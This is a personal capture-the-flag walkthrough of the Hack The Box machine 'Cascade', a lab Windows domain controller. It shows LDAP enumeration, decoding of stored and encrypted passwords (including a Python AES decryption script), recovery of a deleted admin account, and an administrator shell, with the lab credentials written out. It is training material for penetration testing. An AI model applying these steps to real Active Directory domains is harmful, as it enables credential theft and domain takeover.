---
title: "HTB(W) - Cascade"
date: 2024-06-29
draft: false
---

NMAP
```bash
┌──(root㉿kali)-[~]
└─# nmap -sC -A -p- -T4 10.10.10.182 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-29 20:40 EDT
Nmap scan report for 10.10.10.182
Host is up (0.054s latency).
Not shown: 65520 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid: 
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp    open  tcpwrapped
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49154/tcp open  msrpc         Microsoft Windows RPC
49155/tcp open  msrpc         Microsoft Windows RPC
49157/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49158/tcp open  msrpc         Microsoft Windows RPC
49173/tcp open  msrpc         Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|phone|specialized
Running (JUST GUESSING): Microsoft Windows 8|Phone|7|2008|8.1|Vista (92%)
OS CPE: cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_8.1 cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1
Aggressive OS guesses: Microsoft Windows 8.1 Update 1 (92%), Microsoft Windows Phone 7.5 or 8.0 (92%), Microsoft Windows Embedded Standard 7 (91%), Microsoft Windows 7 or Windows Server 2008 R2 (89%), Microsoft Windows Server 2008 R2 (89%), Microsoft Windows Server 2008 R2 or Windows 8.1 (89%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (89%), Microsoft Windows 7 (89%), Microsoft Windows 7 Professional or Windows 8 (89%), Microsoft Windows 7 SP1 or Windows Server 2008 R2 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: CASC-DC1; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   2:1:0: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2024-06-30T00:42:43
|_  start_date: 2024-06-23T17:32:26
|_clock-skew: 11s

TRACEROUTE (using port 139/tcp)
HOP RTT      ADDRESS
1   68.57 ms 10.10.14.1
2   68.65 ms 10.10.10.182

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 189.52 seconds
```
---

```bash
┌──(root㉿kali)-[~/git/windapsearch]
└─# ./windapsearch.py -U --full --dc-ip 10.10.10.182  
```
```bash
sAMAccountName: CascGuest
sAMAccountType: 805306368
userPrincipalName: CascGuest@cascade.local

sAMAccountName: s.smith
sAMAccountType: 805306368
userPrincipalName: s.smith@cascade.local

sAMAccountName: arksvc
sAMAccountType: 805306368
userPrincipalName: arksvc@cascade.local

sAMAccountName: r.thompson
sAMAccountType: 805306368
userPrincipalName: r.thompson@cascade.local

sAMAccountName: util
sAMAccountType: 805306368
userPrincipalName: util@cascade.local

sAMAccountName: j.wakefield
sAMAccountType: 805306368
userPrincipalName: j.wakefield@cascade.local

sAMAccountName: s.hickson
sAMAccountType: 805306368
userPrincipalName: s.hickson@cascade.local

sAMAccountName: j.goodhand
sAMAccountType: 805306368
userPrincipalName: j.goodhand@cascade.local

sAMAccountName: a.turnbull
sAMAccountType: 805306368
userPrincipalName: a.turnbull@cascade.local

sAMAccountName: e.crowe
sAMAccountType: 805306368
userPrincipalName: e.crowe@cascade.local

sAMAccountName: b.hanson
sAMAccountType: 805306368
userPrincipalName: b.hanson@cascade.local


```

![](/img/Pasted image 20240629214053.png)
```bash
sAMAccountName: r.thompson
sAMAccountType: 805306368
userPrincipalName: r.thompson@cascade.local
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=cascade,DC=local
dSCorePropagationData: 20200126183918.0Z
dSCorePropagationData: 20200119174753.0Z
dSCorePropagationData: 20200119174719.0Z
dSCorePropagationData: 20200119174508.0Z
dSCorePropagationData: 16010101000000.0Z
lastLogonTimestamp: 132294360317419816
msDS-SupportedEncryptionTypes: 0
cascadeLegacyPwd: clk0bjVldmE=
```

```bash
┌──(root㉿kali)-[~/box/cascade]
└─# echo 'clk0bjVldmE=' | base64 -d 
rY4n5eva
```

`r.thompson:rY4n5eva`

we can use this to login to SMB 

found in Meeting Notes
```bash
-- We will be using a temporary account to perform all tasks related to the network migration and this account will be deleted at the end of 2018 once the migration is complete. This will allow us to identify actions related to the migration in security logs etc. Username is TempAdmin (password is the same as the normal admin account password). 
```

Found in `VNC Install.reg` 
```bash
"EnableUrlParams"=dword:00000001
"Password"=hex:6b,cf,2a,4b,6e,5a,ca,0f
"AlwaysShared"=dword:00000000
```

https://github.com/frizb/PasswordDecrypts

```bash
>> Rex::Proto::RFB::Cipher.decrypt ["6BCF2A4B6E5ACA0f"].pack('H*'), fixedkey
=> "sT333ve2"
```

using s.smith we can checkout the audit smb directory and get some more shit to look through, including a  sqlite db

```bash
Id|uname|pwd|domain
1|ArkSvc|BQO5l5Kj9MdErXx6Q6AGOw==|cascade.local
```

looks b64 encoded, but b64 -d gives us gibberish. lets look at the .exe we found in the audit file
```bash
┌──(root㉿kali)-[~/box/cascade]
└─# file CascAudit.exe 
CascAudit.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections

```
search `.Net decompiler` for finding dnSpy

### USING DNSPY TO DECOMPILE A .NET EXECUTABLE

![](/img/Pasted image 20240629225532.png)
hm interesting 
we have the decryption key used here, we can probably figure out what to do with the ArkSvc pwd `BQO5l5Kj9MdErXx6Q6AGOw==` ; i'm just not familiar on how to do this. 

```bash
The program opens the SQLite database, reads the password and decrypts it with the Crypto.DecryptString function, using the key c4scadek3y654321 . The decrypt function does not seem to exist in the executable, so it might be loaded through a DLL. Looking at the Audit share, CascCrypto.dll is identified. Download it from the share and open it using dnSpy . The relevant code is as follows
```


![](/img/Pasted image 20240629225923.png)

### aes decryption with pyaes

```bash
A 128-bit AES algorithm is used to decrypt the password. The encryption mode is set to 1 and the IV is set to 1tdyjCbY1Ix49842 . According to the .NET documentation, mode 1 corresponds to CBC. The pyaes module can be used to decrypt the password.
```
https://learn.microsoft.com/en-us/dotnet/api/system.security.cryptography.ciphermode?view=netcore-3.1

```bash
root㉿kali)-[~/box/cascade]
└─# cat decrypt.py                                  
import pyaes
from base64 import b64decode

key = b"c4scadek3y654321"
iv = b"1tdyjCbY1Ix49842"
aes = pyaes.AESModeOfOperationCBC(key, iv = iv)
decrypted = aes.decrypt(b64decode('BQO5l5Kj9MdErXx6Q6AGOw=='))
print(decrypted.decode())
```
https://github.com/ricmoo/pyaes
```bash
A pure-Python implementation of the AES block cipher algorithm and the common modes of operation (CBC, CFB, CTR, ECB and OFB).
```

![](/img/Pasted image 20240629230646.png)

```bash
┌──(root㉿kali)-[~/box/cascade]
└─# python3 decrypt.py       
w3lc0meFr31nd

```
`arksvc:w3lc0meFr31nd`

enumerating arksvc user: 
```bash
CASCADE\AD Recycle Bin                      Alias            S-1-5-21-3332504370-1206983947-1165150453-1119 Mandatory group, Enabled by default, Enabled group, Local Group
CASCADE\Remote Management Users             Alias            S-1-5-21-3332504370-1206983947-1165150453-1126 Mandatory group, Enabled by default, Enabled group, Local Group
```
The AD Recycle Bin group can recover deleted AD objects and this will keep properties intact while in AD bin 

`Get-ADObject -ldapfilter "(&(isDeleted=TRUE))" -IncludeDeletedObjects`

```bash
Deleted           : True
DistinguishedName : CN=TempAdmin\0ADEL:f0cc344d-31e0-4866-bceb-a842791ca059,CN=Deleted Objects,DC=cascade,DC=local
Name              : TempAdmin
                    DEL:f0cc344d-31e0-4866-bceb-a842791ca059
ObjectClass       : user
ObjectGUID        : f0cc344d-31e0-4866-bceb-a842791ca059

```


```bash
C:\Users\arksvc\Documents> Get-ADObject -ldapfilter "(&(objectclass=user)(DisplayName=TempAdmin)(isDeleted=TRUE))" -IncludeDeletedObjects -Properties *
```

![](/img/Pasted image 20240629232327.png)

```bash
┌──(root㉿kali)-[~/box/cascade]
└─# echo 'YmFDVDNyMWFOMDBkbGVz' | base64 -d     
baCT3r1aN00dles
```

very cool. earlier, it was mentioned that this temp user admin password was the same as the normal admin password! 

```bash
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
cascade\administrator
```

hard parts: 
- aes decryption 
- using dnspy to decompile the .exe and get the IV/Key we needed to decrypt the aes decryption 
- windows enumeration - knowing to enumerate the Windows AD Recycle bin group and the `GetADObject` functionality to even do so in the first place. 
- https://learn.microsoft.com/en-us/powershell/module/activedirectory/get-adobject?view=windowsserver2022-ps
-
### Lessons

- use `windapsearch.py` https://github.com/ropnop/windapsearch for enumerating LDAP, it's a great tool 
- There can be attributes associated with users that contain useful information. SEE cascadelegacypw above in this walkthrough
- When you get new creds, it might be worth re-running `windapsearch` / checking windapsearch output if that user is apart of `Remote Management Users` (so you can use evil-winrm to login with a shell)
- 
